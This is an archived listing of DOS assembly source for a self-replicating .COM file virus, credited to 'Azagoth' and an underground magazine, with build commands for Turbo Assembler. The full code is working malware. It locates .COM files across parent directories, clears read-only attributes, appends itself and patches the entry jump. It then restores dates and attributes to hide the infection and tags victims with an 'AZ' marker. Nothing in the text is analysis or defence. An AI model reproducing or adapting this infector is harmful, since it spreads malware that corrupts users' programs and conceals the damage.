home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / _468.ASM next >
Assembly Source File  |  1980-11-11  |  8KB  |  257 lines

  1. ; virus from ALT-11 mag
  2.  
  3. ; ---------------------------------------
  4. ;
  5. ; Coded by: Azagoth
  6. ; ---------------------------------------
  7. ; Assemble using Turbo Assembler:
  8. ;  tasm /m2 <filename>.asm
  9. ;  tlink /t <filename>.obj
  10. ; ---------------------------------------------------------------------------
  11. ;  - Non-Overwriting .COM infector (excluding COMMAND.COM)
  12. ;  - COM growth: XXX bytes
  13. ;  - It searches the current directory for uninfected files.  If none are
  14. ;     found, it searches previous directory until it reaches root and no more
  15. ;     uninfected files are found. (One infection per run)
  16. ;  - Also infects read-only files
  17. ;  - Restores attributes, initial date/time-stamps, and original path.
  18. ; ---------------------------------------------------------------------------
  19.  
  20.         .model  tiny
  21.         .code
  22.  
  23.         org     100h                            ; adjust for psp
  24.  
  25. start:
  26.  
  27.         call    get_disp                        ; push ip onto stack
  28. get_disp:
  29.         pop     bp                              ; bp holds current ip
  30.         sub     bp, offset get_disp             ; bp = code displacement
  31.  
  32.         ; original label offset is stored in machine code
  33.         ; so new (ip) - original = displacement of code
  34.  
  35. save_path:
  36.         mov     ah, 47h                         ; save cwd
  37.         xor     dl, dl                          ; 0 = default drive
  38.         lea     si, [bp + org_path]
  39.         int     21h
  40.  
  41. get_dta:
  42.         mov     ah, 2fh
  43.         int     21h
  44.  
  45.         mov     [bp + old_dta_off], bx          ; save old dta offset
  46.  
  47. set_dta:                                        ; point to dta record
  48.         mov     ah, 1ah
  49.         lea     dx, [bp + dta_filler]
  50.         int     21h
  51.  
  52. search:
  53.         mov     ah, 4eh                         ; find first file
  54.         mov     cx, [bp + search_attrib]        ;  if successful dta is
  55.         lea     dx, [bp + search_mask]          ;  created
  56.         int     21h
  57.         jnc     clear_attrib                    ; if found, continue
  58.  
  59. find_next:
  60.         mov     ah, 4fh                         ; find next file
  61.         int     21h
  62.         jnc     clear_attrib
  63.  
  64. still_searching:
  65.         mov     ah, 3bh
  66.         lea     dx, [bp + previous_dir]         ; cd ..
  67.         int     21h
  68.         jnc     search
  69.         jmp     bomb                            ; at root, no more files
  70.  
  71. clear_attrib:
  72.         mov     ax, 4301h
  73.         xor     cx, cx                          ; get rid of attributes
  74.         lea     dx, [bp + dta_file_name]
  75.         int     21h
  76.  
  77. open_file:
  78.         mov     ax, 3D02h                       ; AL=2 read/write
  79.         lea     dx, [bp + dta_file_name]
  80.         int     21h
  81.  
  82.         xchg    bx, ax                          ; save file handle
  83.                                                 ; bx won't change from now on
  84. check_if_command_com:
  85.         cld
  86.         lea     di, [bp + com_com]
  87.         lea     si, [bp + dta_file_name]
  88.         mov     cx, 11                          ; length of 'COMMAND.COM'
  89.         repe    cmpsb                           ; repeat while equal
  90.         jne     check_if_infected
  91.         jmp     close_file
  92.  
  93. check_if_infected:
  94.         mov     dx, word ptr [bp + dta_file_size] ; only use first word since
  95.                                                   ;  COM file
  96.         sub     dx, 2                             ; file size - 2
  97.  
  98.         mov     ax, 4200h
  99.         mov     cx, 0                           ; cx:dx ptr to offset from
  100.         int     21h                             ;  origin of move
  101.  
  102.         mov     ah, 3fh                         ; read last 2 characters
  103.         mov     cx, 2
  104.         lea     dx, [bp + last_chars]
  105.         int     21h
  106.  
  107.         mov     ah, [bp + last_chars]
  108.         cmp     ah, [bp + virus_id]
  109.         jne     save_3_bytes
  110.         mov     ah, [bp + last_chars + 1]
  111.         cmp     ah, [bp + virus_id + 1]
  112.         jne     save_3_bytes
  113.         jmp     close_file
  114.  
  115. save_3_bytes:
  116.         mov     ax, 4200h                       ; 00=start of file
  117.         xor     cx, cx
  118.         xor     dx, dx
  119.         int     21h
  120.  
  121.         mov     ah, 3Fh
  122.         mov     cx, 3
  123.         lea     dx, [bp + _3_bytes]
  124.         int     21h
  125.  
  126. goto_eof:
  127.         mov     ax, 4202h                       ; 02=End of file
  128.         xor     cx, cx                          ; offset from origin of move
  129.         xor     dx, dx                          ; (i.e. nowhere)
  130.         int     21h                             ; ax holds file size
  131.  
  132.         ; since it is a COM file, overflow will not occur
  133.  
  134. save_jmp_displacement:
  135.         sub     ax, 3                           ; file size - 3 = jmp disp.
  136.         mov     [bp + jmp_disp], ax
  137.  
  138. write_code:
  139.         mov     ah, 40h
  140.         mov     cx, virus_length                ;*** equate
  141.         lea     dx, [bp + start]
  142.         int     21h
  143.  
  144. goto_bof:
  145.         mov     ax, 4200h
  146.         xor     cx, cx
  147.         xor     dx, dx
  148.         int     21h
  149.  
  150. write_jmp:                                      ; to file
  151.         mov     ah, 40h
  152.         mov     cx, 3
  153.         lea     dx, [bp + jmp_code]
  154.         int     21h
  155.  
  156.         inc     [bp + infections]
  157.  
  158. restore_date_time:
  159.         mov     ax, 5701h
  160.         mov     cx, [bp + dta_file_time]
  161.         mov     dx, [bp + dta_file_date]
  162.         int     21h
  163.  
  164. close_file:
  165.         mov     ah, 3eh
  166.         int     21h
  167.  
  168. restore_attrib:
  169.         xor     ch, ch
  170.         mov     cl, [bp + dta_file_attrib]      ; restore original attributes
  171.         mov     ax, 4301h
  172.         lea     dx, [bp + dta_file_name]
  173.         int     21h
  174.  
  175. done_infecting?:
  176.         mov     ah, [bp + infections]
  177.         cmp     ah, [bp + max_infections]
  178.         jz      bomb
  179.         jmp     find_next
  180.  
  181.  
  182. bomb:
  183.  
  184. ;        cmp     bp, 0
  185. ;        je      restore_path                    ; original run
  186. ;
  187. ;---- Stuff deleted
  188.  
  189. restore_path:
  190.         mov     ah, 3bh                         ; when path stored
  191.         lea     dx, [bp + root]                 ; '\' not included
  192.         int     21h
  193.  
  194.         mov     ah, 3bh                         ; cd to original path
  195.         lea     dx, [bp + org_path]
  196.         int     21h
  197.  
  198. restore_dta:
  199.         mov     ah, 1ah
  200.         mov     dx, [bp + old_dta_off]
  201.         int     21h
  202.  
  203. restore_3_bytes:                                ; in memory
  204.         lea     si, [bp + _3_bytes]
  205.         mov     di, 100h
  206.         cld                                     ; auto-inc si, di
  207.         mov     cx, 3
  208.         rep     movsb
  209.  
  210. return_control_or_exit?:
  211.         cmp     bp, 0                           ; bp = 0 if original run
  212.         je      exit
  213.         mov     di, 100h                        ; return control back to prog
  214.         jmp     di                              ; -> cs:100h
  215.  
  216. exit:
  217.         mov     ax, 4c00h
  218.         int     21h
  219.  
  220. ;-------- Variable Declarations --------
  221.  
  222. old_dta_off     dw      0                       ; offset of old dta address
  223.  
  224. ;-------- dta record
  225. dta_filler      db      21 dup (0)
  226. dta_file_attrib db      0
  227. dta_file_time   dw      0
  228. dta_file_date   dw      0
  229. dta_file_size   dd      0
  230. dta_file_name   db      13 dup (0)
  231. ;--------
  232. search_mask     db      '*.COM',0               ; files to infect: *.COM
  233. search_attrib   dw      00100111b               ; all files a,s,h,r
  234. com_com         db      'COMMAND.COM'
  235.  
  236. previous_dir    db      '..',0
  237. root            db      '\',0
  238. org_path        db      64 dup (0)              ; original path
  239.  
  240. infections      db      0                       ; counter
  241. max_infections  db      1
  242.  
  243. _3_bytes        db      0, 0, 0
  244. jmp_code        db      0E9h
  245. jmp_disp        dw      0
  246.  
  247. last_chars      db      0, 0                    ; do last chars = ID ?
  248.  
  249. virus_id        db      'AZ'
  250.  
  251. eov:                                            ; end of virus
  252.  
  253. virus_length    equ     offset eov - offset start
  254.  
  255.         end     start
  256.  
  257.